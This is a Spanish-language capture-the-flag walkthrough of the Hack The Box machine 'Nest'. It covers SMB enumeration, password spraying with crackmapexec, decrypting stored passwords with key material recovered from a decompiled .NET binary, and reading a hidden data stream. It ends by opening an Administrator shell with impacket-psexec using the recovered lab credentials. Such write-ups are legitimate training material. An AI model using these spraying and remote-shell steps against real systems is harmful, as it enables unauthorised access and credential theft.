Nest

✍️ Autor: VbScrub🔍 Dificultad: Fácil 📅 Fecha de creación: 04/06/2020

🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

ping -c 1 10.10.10.178

para verificar la conectividad de red.

A continuación, realizamos el comando:

nmap -sC -sV -p- 10.10.10.178

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Durante el escaneo se identificaron los siguientes puertos abiertos:

  • Puerto 445 (SMB): El puerto 445/tcp está abierto y ejecutando el servicio microsoft-ds?, lo que indica la posible presencia de un servicio SMB en el sistema.

  • Puerto 4386 (unknown): El puerto 4386/tcp también está abierto y ejecutando un servicio desconocido. Según el fingerprinting de respuesta, el servicio se identifica como Reporting Service V1.2, lo que sugiere que permite a los usuarios ejecutar consultas en bases de datos mediante el formato HQK. Entre los comandos disponibles se encuentran LIST, SETDIR, RUNQUERY, DEBUG y HELP. Esta funcionalidad podría representar un posible vector de ataque si el servicio no está correctamente asegurado.

A continuación, se procederá a analizar cada uno de estos servicios en busca de posibles vectores de ataque.

🔎 EXPLORACIÓN

Se utiliza el comando:

sudo nmap -sCV -p445,4386 -v 10.10.10.178

para que nos proporcione más información sobre esos puertos específicamente.

Ponemos el dominio en el /etc/hosts.

echo "10.10.10.178 nest.htb" >> /etc/hosts

Listamos recursos compartidos.

smbclient -L 10.10.10.178

Listamos el contenido de los recursos compartidos.

smbclient \\\\nest.htb\\Users -N
smbclient \\\\nest.htb\\Data -N

En la ruta /Shared/Templates/HR hay un archivo interesante.

Tenemos unas credenciales por lo que con los usuarios descubiertos antes realizamos fuerza bruta.

crackmapexec smb nest.htb -u usuarios -p 'welcome2019' --continue-on-success

Intenté iniciar sesión con los tres usuarios y, al usar TempUser, obtuve un archivo, pero estaba vacío. Volví a acceder al recurso compartido Data como TempUser y descargué los archivos. Entre ellos, encontré un archivo llamado RU_Config.xml.

En otro archivo (config.xml) encontramos también información.

Entramos donde Carl.

smbclient -U ./TempUser //10.10.10.178/Secure$

🚀 EXPLOTACIÓN

Lo que estamos buscando es una línea del artículo que mencionamos antes, un algoritmo para descifrar el cifrado del archivo RU_Config.xml. Quiero hacerlo rápido, así que voy a dotnetfiddle.net, realizar algunos ajustes al código y ejecutarlo con la contraseña cifrada que está en el archivo de configuración.

El resultado es xRxRxPANCAK3SxRxRx. Bien, el usuario estaba claro, y ahora la contraseña está descifrada.

smbclient -U ./c.smith //10.10.10.178/Users

Seguimos investigando para escalar a root.

allinfo "Debug Mode Password.txt"

Nos lo descargamos.

get "Debug Mode Password.txt":Password:$Data

Esto debería devolverte la contraseña en formato claro, que en este caso es WBQ201953D8w.

Con la contraseña obtenida, conéctate al servidor HQK:

debug WBQ201953D8w

Dentro del servidor, ejecuta el siguiente comando en el directorio LDAP para ver la configuración:

showquery 2

Esto debería devolverte las credenciales del Administrador en formato cifrado. En el ejemplo, la contraseña es yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=.

echo "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=" | base64 --decode

Ejecuté el comando file sobre el archivo HqKLdap.exe y descubrí que es un ejecutable .NET. Lo copié a mi sistema Windows y lo abrí utilizando ILSpy. Dentro del archivo HqKLdap, en la sección CR, encontré la siguiente línea de código:

return RD(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);

Reemplacé esta línea en el script de Nest y modifiqué el archivo config.xml con el nombre de usuario y la contraseña de "Administrator". Luego ejecuté el script y obtuve lo siguiente:

Anterior:

XtH4nkS4Pl4y1nGX
Administrator

Nuevo:

AJPcXFcqZ32B993fPwoHWA==
XtH4nkS4Pl4y1nGX

La contraseña obtenida es: XtH4nkS4Pl4y1nGX.

Ahora, intentemos obtener una shell utilizando la siguiente herramienta:

impacket-psexec Administrator:XtH4nkS4Pl4y1nGX@nest.htb

Con este comando, deberíamos obtener acceso como Administrator.

🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

whoami

somos root.

Last updated

Was this helpful?